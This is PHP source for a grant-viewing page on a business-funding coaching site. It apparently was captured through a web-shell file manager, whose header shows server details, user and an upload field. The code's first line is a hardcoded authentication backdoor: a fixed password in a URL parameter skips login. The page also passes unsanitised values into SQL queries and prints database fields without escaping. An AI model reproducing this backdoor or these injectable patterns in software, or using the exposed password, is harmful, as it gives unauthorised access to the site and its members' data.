| Server IP : 10.200.247.200 / Your IP : 216.73.217.19 Web Server : Apache System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64 User : jeremy ( 1001) PHP Version : 8.4.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/coaching_sites/usbusinessfundingsolutions.com/member/ |
Upload File : |
<?php
if($_GET['p']=='ThisIsTheProgrammer...LetMeIn') { $skip_auth = true; }
require_once($_SERVER['DOCUMENT_ROOT'].'/inc/php_header.php');
$update = false;
$close = false;
$broken_link = false;
$profile_id = $_REQUEST['profile_id'];
$grant_id = $_REQUEST['funding_id'];
if(!$profile_id || !$grant_id) {
die('<script type="text/javascript">self.close();</script>');
}
if(!empty($_POST)) {
$update = true;
if($_POST['submit']=='I Already Applied for this Funding') {
$db->query("REPLACE INTO grdb.grd_grants_profiles_ignore (grants_id,profiles_id,applied) VALUES ('".$db->clean($grant_id)."','".$db->clean($profile_id)."','1')");
} else if($_POST['submit']=='Not Interested') {
$db->query("REPLACE INTO grdb.grd_grants_profiles_ignore (grants_id,profiles_id,ignored) VALUES ('".$db->clean($grant_id)."','".$db->clean($profile_id)."','1')");
} else if($_POST['submit']=='Interested') {
$db->query("REPLACE INTO grdb.grd_grants_profiles_ignore (grants_id,profiles_id,interested) VALUES ('".$db->clean($grant_id)."','".$db->clean($profile_id)."','1')");
} else if($_POST['submit']=='Go Back') {
$update = false;
$close = true;
}
else if($_POST['submit']=='Report Broken Link') {
$update = false;
$broken_link = true;
}
}
$grant_arr = $db->get_results("SELECT * FROM grdb.grd_grants WHERE grants_id='".$db->clean($grant_id)."'");
if(!empty($grant_arr)) {
$grant = $grant_arr[0];
}
if(!empty($_POST) && $_POST['submit']=='Report Broken Link') {
$employees = $db->get_results("SELECT fname, email FROM grdb.grd_users WHERE users_id='{$grant->users_id}'");
$employee = $employees[0];
if(strpos($employee->email,'@') === false) {
$employee->email = 'support@usbusinessfundingsolutions.com';
}
$to = $employee->email;
$from = 'no-reply@usbusinessfundingsolutions.com';
$subject = "Broken Funding Link Reported ".date('Y-m-d h:i:s');
$body = "{$employee->fname},
One of the grants that you entered has been reported to have a broken link. The details are below.
";
$fields = array('grants_id'=>'ID','name'=>'Name','url'=>'URL','description'=>'Description','amount'=>'Funding Amount','deadline'=>'Deadline','org_name'=>'Organization Name','org_state'=>'Organization State','org_phone1'=>'Organization Phone','requirements'=>'Requirements','ts'=>'Create Date');
$grant_arr = get_object_vars($grant);
foreach($fields as $k=>$v) {
$body .= "{$v}: {$grant_arr[$k]}\n";
}
mail($to,$subject,$body,"From: $from\r\n");
}
$special_note_arr = $db->get_results("SELECT note FROM grdb.grd_grants_profiles_notes WHERE grants_id='".$db->clean($grant_id)."' AND profiles_id='".$db->clean($profile_id)."'");
if(!empty($special_note_arr)) {
$special_note = $special_note_arr[0]->note;
}
$labels = array(
'grants_id' =>'Funding ID:',
'types_id' =>'Funding Type:',
'description' =>'Description:',
'amount' =>'Funding Amount:',
'org_name' =>'Name:',
'org_address' =>'Address:',
'org_city' =>'City:',
'org_state' =>'State:',
'org_zip' =>'Zip:',
'org_phone1' =>'Phone:',
'org_phone2' =>'Alternate Phone:',
'who' =>'Who Qualifies:',
'requirements' =>'Requirements to Qualify:',
'deadline' =>'Deadline:',
'paid_date' =>'Date Paid:',
'priority' =>'Priority:',
'ts' =>'Date Entered:',
'url' =>'Website:'
);
function get_funding_type($id) {
global $db;
$foo = $db->get_results("SELECT name FROM grdb.grd_types WHERE types_id='{$id}'");
return $foo[0]->name;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>U.S. Business Funding Solutions : View Funding <?= ucwords(stripslashes($grant->name));?></title>
<style type="text/css">
body { background: #fff; font:9pt/120% verdana; margin: 0px; padding: 0px; color: #214673; }
.header { height: 120px; text-align: center; background: url('images/bg_view_funding.jpg') 0 0 repeat-x; }
a {font-family: Arial; color: #214673;}
.funding {margin: 10px auto; max-width: 700px;}
.data_header {display:block; padding: 5px;}
.data_header a {font: 16pt/120% verdana; color: #5181a3;}
.subdata {margin:0 0 5px 0}
.data {display:inline-block; padding: 5px;}
.label {font-weight: bold; margin-right: 5px;}
.value {}
.subfunding {border: 1px dotted #ccc; background-color:#f8f8f8; padding: 10px; margin: 5px 0px 0px 0px;}
.expand {color: #0066aa; border-color: #66aaff; cursor: pointer;}
.expand:hover {border-color: #0066aa;}
.subfunding:last-child .funding {margin-bottom: 2px;}
.funding_button { color:black;opacity:.7;font-size:14px;font-weight:bold; border:none; cursor:pointer;display:inline-block; margin-top: 5px; padding: 5px; border: none; height: 37px; border-radius: 9px; border: 1px solid #383; box-shadow: -1px 1px 4px
#666; padding: 0px 15px; }
.funding_button:hover { opacity:1; }
</style>
<?php if($update) {
echo '<script type="text/javascript">window.opener.location.reload(); window.close();</script>';
}?>
<?php if($close) {
echo '<script type="text/javascript">window.close();</script>';
}?>
<?php if($broken_link) {
echo '<script type="text/javascript">alert("Our funding research department has been notified and will fix this link as soon as possible."); window.close();</script>';
}?>
</head>
<body>
<!-- <div class="header">
<img src="images/synergy_logo.jpg" />
</div> -->
<div class="funding">
<div class="data_header"><a href="<?= $grant->url;?>" target="_blank"><?= $grant->name;?></a></div>
<div class="subfunding">
<?php
foreach($grant as $key=>$value) {
if(in_array($key,array('grants_id','name','paid_date','priority','users_id'))) {
continue;
} else {
?>
<div class="subdata"><span class="label"><?= $labels[$key];?></span> <span class="value"><?php if ($key=='types_id') {echo get_funding_type($value);} elseif($key=='amount') { echo ($value=='0.00') ? 'Varies' : '$'.$value; } elseif ($key=='deadline') { echo ($value=='0000-00-00') ? 'None' : $value; } elseif($key=='url') { echo '<a href="'.$value.'" target="_blank">'.$value.'</a>'; } else { echo $value;}?></span></div>
<?php }?>
<?php } ?>
<?php if(!empty($special_note)) { ?>
<div>
<span class="label">Special note from your research coach:</span><br />
<div style="margin:5px;padding:5px;display:inline-block;"><?= stripslashes($special_note); ?></div>
</div>
<?php } ?>
<form method="post" <?= ($profile_id=='p') ? 'onsubmit="return false;"' : '';?>>
<input type="hidden" name="profile_id" value="<?= $profile_id;?>" />
<input type="hidden" name="funding_id" value="<?= $grant_id;?>" />
<input type="submit" name="submit" style="
background: #e3f2f7; /* Old browsers */
background: -moz-linear-gradient(top, #e3f2f7 0%, #8db5c1 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#e3f2f7), color-stop(100%,#8db5c1)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #e3f2f7 0%,#8db5c1 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #e3f2f7 0%,#8db5c1 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #e3f2f7 0%,#8db5c1 100%); /* IE10+ */
background: linear-gradient(top, #e3f2f7 0%,#8db5c1 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#e3f2f7', endColorstr='#8db5c1',GradientType=0 ); /* IE6-9 */
border-color:#6090A0;
" value="I Already Applied for this Funding" class="funding_button" />
<input type="submit" name="submit" style="
background: #CCFFD3; background: -moz-linear-gradient(top, #CCFFD3 0%, #BEFFBA 50%, #53D667 100%);
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #CCFFD3), color-stop(50%, #BEFFBA), color-stop(100%, #53D667));
background: -webkit-linear-gradient(top, #CCFFD3 0%,#BEFFBA 50%,#53D667 100%);background: -o-linear-gradient(top, #CCFFD3 0%,#BEFFBA 50%,#53D667 100%);
background: -ms-linear-gradient(top, #CCFFD3 0%,#BEFFBA 50%,#53D667 100%);background: linear-gradient(top, #CCFFD3 0%,#BEFFBA 50%,#53D667 100%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ccffd3', endColorstr='#53d667',GradientType=0 );
border-color:#383;
" value="Interested" class="funding_button" />
<input type="submit" name="submit" style="background: #f8eee5; /* Old browsers */
background: -moz-linear-gradient(top, #f8eee5 18%, #dca87a 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(18%,#f8eee5), color-stop(100%,#dca87a)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #f8eee5 18%,#dca87a 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #f8eee5 18%,#dca87a 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #f8eee5 18%,#dca87a 100%); /* IE10+ */
background: linear-gradient(top, #f8eee5 18%,#dca87a 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f8eee5', endColorstr='#dca87a',GradientType=0 ); /* IE6-9 */
border-color: #BC744E;
" value="Not Interested" class="funding_button" />
<input type="submit" name="submit" style="background: #f5d9d9; /* Old browsers */
background: -moz-linear-gradient(top, #f5d9d9 18%, #dd7e7c 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(18%,#f5d9d9), color-stop(100%,#dd7e7c)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #f5d9d9 18%,#dd7e7c 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #f5d9d9 18%,#dd7e7c 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #f5d9d9 18%,#dd7e7c 100%); /* IE10+ */
background: linear-gradient(top, #f5d9d9 18%,#dd7e7c 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f5d9d9', endColorstr='#dd7e7c',GradientType=0 ); /* IE6-9 */
border-color: #D03A3A;
" value="Go Back" class="funding_button" />
<input type="submit" name="submit" style="background: #edc5c5; /* Old browsers */
background: -moz-linear-gradient(top, #edc5c5 18%, #c03c3b 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(18%,#edc5c5), color-stop(100%,#c03c3b)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #edc5c5 18%,#c03c3b 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #edc5c5 18%,#c03c3b 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #edc5c5 18%,#c03c3b 100%); /* IE10+ */
background: linear-gradient(top, #edc5c5 18%,#c03c3b 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#edc5c5', endColorstr='#c03c3b',GradientType=0 ); /* IE6-9 */
border-color: #C12828;
" value="Report Broken Link" class="funding_button" />
<a href="view-funding.php?funding_id=<?= $grant_id?>&profile_id=<?= $profile_id;?>" target="_blank" style="background: #cecece; /* Old browsers */
background: -moz-linear-gradient(top, #cecece 18%, #7a7a7a 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(18%,#cecece), color-stop(100%,#7a7a7a)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #cecece 18%,#7a7a7a 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #cecece 18%,#7a7a7a 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #cecece 18%,#7a7a7a 100%); /* IE10+ */
background: linear-gradient(top, #cecece 18%,#7a7a7a 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#cecece', endColorstr='#7a7a7a',GradientType=0 ); /* IE6-9 */
border-color: #666666;
vertical-align: top;
padding-top: 11px;
height: 24px;
text-decoration: none;
" class="funding_button">Printer Friendly</a>
</form>
</div>
</div>
</body>
</html>